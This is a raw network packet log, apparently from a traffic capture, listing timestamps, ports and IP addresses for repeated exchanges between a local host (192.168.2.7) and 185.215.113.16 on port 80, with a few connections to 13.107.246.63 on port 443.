Dec 7, 2024 17:35:59.781105042 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.781285048 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.781335115 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.781997919 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.782155991 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.782279968 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.782942057 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.783092022 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.783143044 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.783853054 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.784018040 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.784065962 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.784894943 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.785017014 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.785060883 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.785696030 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.785842896 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.786179066 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.786638021 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.786808014 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.786861897 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.787529945 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.787692070 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.788439035 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.788500071 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.788631916 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.788820028 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.789427042 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.789566040 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.789613962 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.790280104 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.790442944 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.790496111 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.791183949 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.791352034 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.791419029 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.792107105 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.792330027 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.792381048 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.793029070 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.793190002 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.793237925 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.793943882 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.794109106 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.794157982 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.794857025 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.795063019 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.795109034 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.795799017 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.795994043 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.796040058 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.796722889 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.796905041 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.796958923 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.797681093 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.797853947 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.797897100 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.798556089 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.798721075 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.798768044 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.799458981 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.799633980 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.799678087 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.800406933 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.800533056 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.800579071 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.801311016 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.801559925 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.801616907 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.802196026 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.802350998 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.802395105 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.803112984 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.803280115 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.803335905 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.804069042 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.804204941 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.804253101 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.804956913 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.805136919 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.805185080 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.805882931 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.806058884 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.806108952 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.806802034 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.806952000 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.806991100 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.807714939 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.807876110 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.807919979 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.808634043 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.808820009 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.808866024 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.809556961 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.809731960 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.809777975 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.810475111 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.810632944 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.811228037 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.811393976 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.811548948 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.811595917 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.812325954 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.812525988 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.812572002 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.813273907 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.813385963 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.813431025 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.814172983 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.814374924 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.814419985 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.815105915 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.815442085 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.815500975 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.816076040 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.816193104 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.816237926 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.816941023 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.817184925 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.817228079 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.817831039 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.817956924 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.818003893 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.818733931 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.864710093 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.918689013 CET	443	49805	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:59.919311047 CET	49805	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:59.919342041 CET	443	49805	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:59.919660091 CET	49805	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:59.919670105 CET	443	49805	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:59.943231106 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.943422079 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.943523884 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.943581104 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.943798065 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.943851948 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.944417000 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.944570065 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.944619894 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.945317030 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.945441008 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.945486069 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.965842962 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.966037035 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.966084957 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.966279984 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.966573000 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.967292070 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.967391014 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.967406034 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.968014956 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.968152046 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.968426943 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.968473911 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.968556881 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.969453096 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.969505072 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.969633102 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.970345974 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.970391035 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.970427990 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.971353054 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.971504927 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.971837997 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.972085953 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.972244024 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.972486019 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.973007917 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.973052025 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.973191023 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.973938942 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.974004030 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.974076033 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.974859953 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.975003004 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.975482941 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.975775003 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.975819111 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.975904942 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.976733923 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.976784945 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.976844072 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.977621078 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.977662086 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.977857113 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.978620052 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.978686094 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.978744030 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.979548931 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.979630947 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.980173111 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.980389118 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.980433941 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.980516911 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.981312037 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.981363058 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.981439114 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.982211113 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.982254028 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.982395887 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.983124018 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.983175039 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.983254910 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.984035015 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.984204054 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.984659910 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.984965086 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.985008001 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.985117912 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.985893011 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.985945940 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.986030102 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.986985922 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.987029076 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.987066031 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.987802029 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.987853050 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.987865925 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.988681078 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.988792896 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.989327908 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.989603996 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.989692926 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.989775896 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.990473986 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.990528107 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.990603924 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.991446018 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.991488934 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.991588116 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.992381096 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.992434978 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.992502928 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.993266106 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.993488073 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.994055986 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.994168997 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.994209051 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.994328022 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.995147943 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.995197058 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.995353937 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.996016979 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.996066093 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.996134043 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.996895075 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.996942043 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.997042894 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.997873068 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.997982979 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.998183012 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.998744011 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.998790979 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:59.998905897 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.999772072 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:59.999825001 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.000035048 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.000802040 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.000845909 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.000858068 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.001535892 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.001590014 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.001651049 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.002496004 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.002616882 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.003128052 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.003324986 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.003374100 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.003498077 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.004378080 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.004429102 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.004637957 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.005434036 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.005477905 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.005490065 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.006072044 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.006191969 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.006319046 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.007023096 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.007167101 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.007842064 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.007916927 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.007961988 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.008100986 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.008872986 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.008925915 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.008991003 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.009815931 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.009860992 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.009931087 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.010709047 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.010761976 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.135370970 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.135495901 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.135721922 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.135772943 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.136015892 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.136075974 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.136672974 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.137032986 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.137212038 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.137785912 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.161175966 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.161267996 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.161320925 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.161626101 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.161873102 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.161922932 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.162491083 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.162539005 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.162672997 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.163439035 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.163579941 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.163585901 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.164330006 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.164505005 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.165175915 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.165330887 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.165378094 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.165483952 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.166398048 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.166455030 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.166568041 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.167097092 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.167243958 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.167340040 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.167980909 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.168028116 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.168323994 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.168912888 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.169095993 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.169851065 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.169914961 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.169959068 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.170016050 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.170829058 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.170880079 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.170945883 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.171695948 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.171782017 CET	49802	80	192.168.2.7	185.215.113.16
